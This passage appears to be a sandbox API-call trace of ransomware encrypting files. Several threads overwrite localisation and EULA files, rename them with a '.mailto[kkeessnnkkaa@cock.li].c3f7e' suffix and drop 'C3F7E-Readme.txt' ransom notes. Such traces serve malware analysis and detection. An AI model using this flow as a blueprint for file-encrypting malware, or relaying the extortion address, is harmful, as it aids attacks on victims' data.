	[0076.029] NtQueryInformationFile (in: FileHandle=0x9b4, IoStatusBlock=0xa38fe24, FileInformation=0xa38fdfc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa38fe24, FileInformation=0xa38fdfc) returned 0x0
	[0076.029] NtSetInformationFile (FileHandle=0x9b4, IoStatusBlock=0xa38fe24, FileInformation=0xa38fdfc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78d08) returned 1
	[0076.030] FlushFileBuffers (hFile=0x9b4) returned 1
	[0076.035] CloseHandle (hObject=0x9b4) returned 1
	[0076.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0076.036] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1045\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\"
	[0076.036] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1045\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1045\\C3F7E-Readme.txt"
	[0076.036] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1045\\c3f7e-readme.txt")) returned 0xffffffff
	[0076.036] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1045\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b4
	[0076.037] WriteFile (in: hFile=0x9b4, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xa38fe20, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xa38fe20*=0x6f6, lpOverlapped=0x0) returned 1
	[0076.038] CloseHandle (hObject=0x9b4) returned 1
	[0076.038] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0076.038] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730880) returned 1

Thread:
	id = 203
	os_tid = 0x430

	[0076.011] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80
	[0076.011] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0076.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b8
	[0076.013] GetFileSizeEx (in: hFile=0x9b8, lpFileSize=0xa40fcd8 | out: lpFileSize=0xa40fcd8*=82374) returned 1
	[0076.014] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x141c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.014] ReadFile (in: hFile=0x9b8, lpBuffer=0xa40fc5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa40fc58, lpOverlapped=0x0 | out: lpBuffer=0xa40fc5c*, lpNumberOfBytesRead=0xa40fc58*=0x4, lpOverlapped=0x0) returned 1
	[0076.017] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724c48
	[0076.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.017] NtQuerySystemTime (in: CurrentTime=0xa40fc38 | out: CurrentTime=0xa40fc38*=132251868027471378) returned 0x0
	[0076.017] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0xf19c10d
	[0076.017] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0xb714175c
	[0076.017] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x493cafbb
	[0076.017] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x6b5a033c
	[0076.017] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x8604e170
	[0076.017] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x342c934e
	[0076.017] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x8cca04dd
	[0076.017] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0xd240cb8c
	[0076.017] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0xf15a3f81
	[0076.017] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x6ce7cfb4
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x211ef312
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x6a3af22b
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x53a584b2
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x9b85f272
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0xe693e52a
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x48b1a47b
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x11577f2a
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x14317bf9
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0xad40598a
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0xb6deb286
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x587ad964
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x5d1afa72
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x80b693de
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x5af53ac1
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0xca70b986
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x69565ef2
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x1aa470e1
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x1505d7df
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0xfbf18ec0
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0xf1be1129
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x7787a6cf
	[0076.018] RtlRandom (in: Seed=0xa40fc44 | out: Seed=0xa40fc44) returned 0x6cfeaa90
	[0076.026] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.026] ReadFile (in: hFile=0x9b8, lpBuffer=0x4e1c850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa40fc18, lpOverlapped=0x0 | out: lpBuffer=0x4e1c850*, lpNumberOfBytesRead=0xa40fc18*=0xc800, lpOverlapped=0x0) returned 1
	[0076.030] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d739c0
	[0076.031] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04d38
	[0076.031] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.031] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0076.031] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e29058
	[0076.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47247c0
	[0076.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47247e8
	[0076.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47247e8) returned 1
	[0076.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0076.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d739c0) returned 1
	[0076.032] WriteFile (in: hFile=0x9b8, lpBuffer=0x4e29058*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa40fc18, lpOverlapped=0x0 | out: lpBuffer=0x4e29058*, lpNumberOfBytesWritten=0xa40fc18*=0xc800, lpOverlapped=0x0) returned 1
	[0078.628] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e29058) returned 1
	[0078.628] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e1c850) returned 1
	[0078.629] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x4781ff0
	[0078.629] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.629] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.629] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34000
	[0078.630] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34000) returned 1
	[0078.630] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47820d0
	[0078.630] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34000
	[0078.630] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0078.630] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0078.630] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.630] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.630] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4771ab8
	[0078.630] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.630] WriteFile (in: hFile=0x9b8, lpBuffer=0x4771ab8*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xa40fc98, lpOverlapped=0x0 | out: lpBuffer=0x4771ab8*, lpNumberOfBytesWritten=0xa40fc98*=0x113, lpOverlapped=0x0) returned 1
	[0078.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771ab8) returned 1
	[0078.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47820d0) returned 1
	[0078.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34000) returned 1
	[0078.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ff0) returned 1
	[0078.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47247c0) returned 1
	[0078.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c48) returned 1
	[0078.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c98) returned 1
	[0078.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724888) returned 1
	[0078.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986470
	[0078.650] wcscpy (in: _Dest=0x4986470, _Source="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml"
	[0078.650] wcscat (in: _Dest=0x4986470, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.650] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa40fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x47697e8
	[0078.650] NtSetInformationFile (FileHandle=0x9b8, IoStatusBlock=0xa40fc48, FileInformation=0x47697e8, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.699] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47697e8) returned 1
	[0078.699] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d148) returned 1
	[0078.699] NtQueryInformationFile (in: FileHandle=0x9b8, IoStatusBlock=0xa40fc5c, FileInformation=0xa40fc34, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa40fc5c, FileInformation=0xa40fc34) returned 0x0
	[0078.699] NtSetInformationFile (FileHandle=0x9b8, IoStatusBlock=0xa40fc5c, FileInformation=0xa40fc34, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.700] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986470) returned 1
	[0078.700] FlushFileBuffers (hFile=0x9b8) returned 1
	[0080.048] CloseHandle (hObject=0x9b8) returned 1
	[0080.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.166] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1045\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\"
	[0080.166] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1045\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1045\\C3F7E-Readme.txt"
	[0080.166] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1045\\c3f7e-readme.txt")) returned 0x20
	[0080.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733ee8) returned 1

Thread:
	id = 204
	os_tid = 0x107c

	[0076.039] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80
	[0076.039] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0076.039] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b4
	[0076.039] GetFileSizeEx (in: hFile=0x9b4, lpFileSize=0xa48feb0 | out: lpFileSize=0xa48feb0*=3683) returned 1
	[0076.040] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0xe5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.040] ReadFile (in: hFile=0x9b4, lpBuffer=0xa48fe34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa48fe30, lpOverlapped=0x0 | out: lpBuffer=0xa48fe34*, lpNumberOfBytesRead=0xa48fe30*=0x4, lpOverlapped=0x0) returned 1
	[0076.041] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47247e8
	[0076.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.041] NtQuerySystemTime (in: CurrentTime=0xa48fe10 | out: CurrentTime=0xa48fe10*=132251868027783838) returned 0x0
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x436d3405
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x6717c923
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xa035b22d
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x323d46f9
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x5231e55a
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xece54cf7
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x47f3a861
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x7548ce52
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xca34396e
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xc53821e3
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x10b0e363
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x4984d0a4
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x7eb98aec
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xdb7735d5
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xd2901336
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x9ca2db33
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xd2f0b90d
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xfbf3f6ef
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xcfe0e9ef
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xa89f4d26
	[0076.041] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x3750b9f2
	[0076.042] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x6d6428c9
	[0076.042] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x39c27ceb
	[0076.042] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xed41797c
	[0076.042] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x77e76819
	[0076.042] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xcb7879b0
	[0076.042] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x84c75fbb
	[0076.042] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0xb16f2124
	[0076.042] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x6d9a0bd5
	[0076.042] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x4f181745
	[0076.042] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x832f1edb
	[0076.042] RtlRandom (in: Seed=0xa48fe1c | out: Seed=0xa48fe1c) returned 0x60ce612b
	[0076.055] ReadFile (in: hFile=0x9b4, lpBuffer=0x4e35860, nNumberOfBytesToRead=0xe63, lpNumberOfBytesRead=0xa48fe0c, lpOverlapped=0x0 | out: lpBuffer=0x4e35860*, lpNumberOfBytesRead=0xa48fe0c*=0xe63, lpOverlapped=0x0) returned 1
	[0076.055] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.055] WriteFile (in: hFile=0x9b4, lpBuffer=0x4e42068*, nNumberOfBytesToWrite=0xe63, lpNumberOfBytesWritten=0xa48fe08, lpOverlapped=0x0 | out: lpBuffer=0x4e42068*, lpNumberOfBytesWritten=0xa48fe08*=0xe63, lpOverlapped=0x0) returned 1
	[0076.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724900
	[0076.058] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724928
	[0076.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724928) returned 1
	[0076.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e42068) returned 1
	[0076.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e35860) returned 1
	[0076.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0076.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d739c0) returned 1
	[0076.058] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4724bf8
	[0076.058] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.058] WriteFile (in: hFile=0x9b4, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xa48fe70, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0xa48fe70*=0x101, lpOverlapped=0x0) returned 1
	[0076.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249c8) returned 1
	[0076.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249a0) returned 1
	[0076.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0076.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724900) returned 1
	[0076.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47247e8) returned 1
	[0076.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47248b0) returned 1
	[0076.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47248d8) returned 1
	[0076.059] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78848
	[0076.059] wcscpy (in: _Dest=0x2d78848, _Source="C:\\588bce7c90097ed212\\1046\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf"
	[0076.059] wcscat (in: _Dest=0x2d78848, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.059] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa48fe28, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.059] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61b00
	[0076.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61b00) returned 1
	[0076.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b258) returned 1
	[0076.063] NtQueryInformationFile (in: FileHandle=0x9b4, IoStatusBlock=0xa48fe34, FileInformation=0xa48fe0c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa48fe34, FileInformation=0xa48fe0c) returned 0x0
	[0076.063] NtSetInformationFile (FileHandle=0x9b4, IoStatusBlock=0xa48fe34, FileInformation=0xa48fe0c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78848) returned 1
	[0076.064] FlushFileBuffers (hFile=0x9b4) returned 1
	[0076.065] CloseHandle (hObject=0x9b4) returned 1
	[0076.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0076.066] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1046\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\"
	[0076.066] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1046\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1046\\C3F7E-Readme.txt"
	[0076.066] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1046\\c3f7e-readme.txt")) returned 0xffffffff
	[0076.066] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1046\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b4
	[0076.066] WriteFile (in: hFile=0x9b4, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xa48fe30, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xa48fe30*=0x6f6, lpOverlapped=0x0) returned 1
	[0076.067] CloseHandle (hObject=0x9b4) returned 1
	[0076.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0076.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47308d0) returned 1

Thread:
	id = 205
	os_tid = 0x10fc

	[0076.057] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80
	[0076.057] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0076.061] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9bc
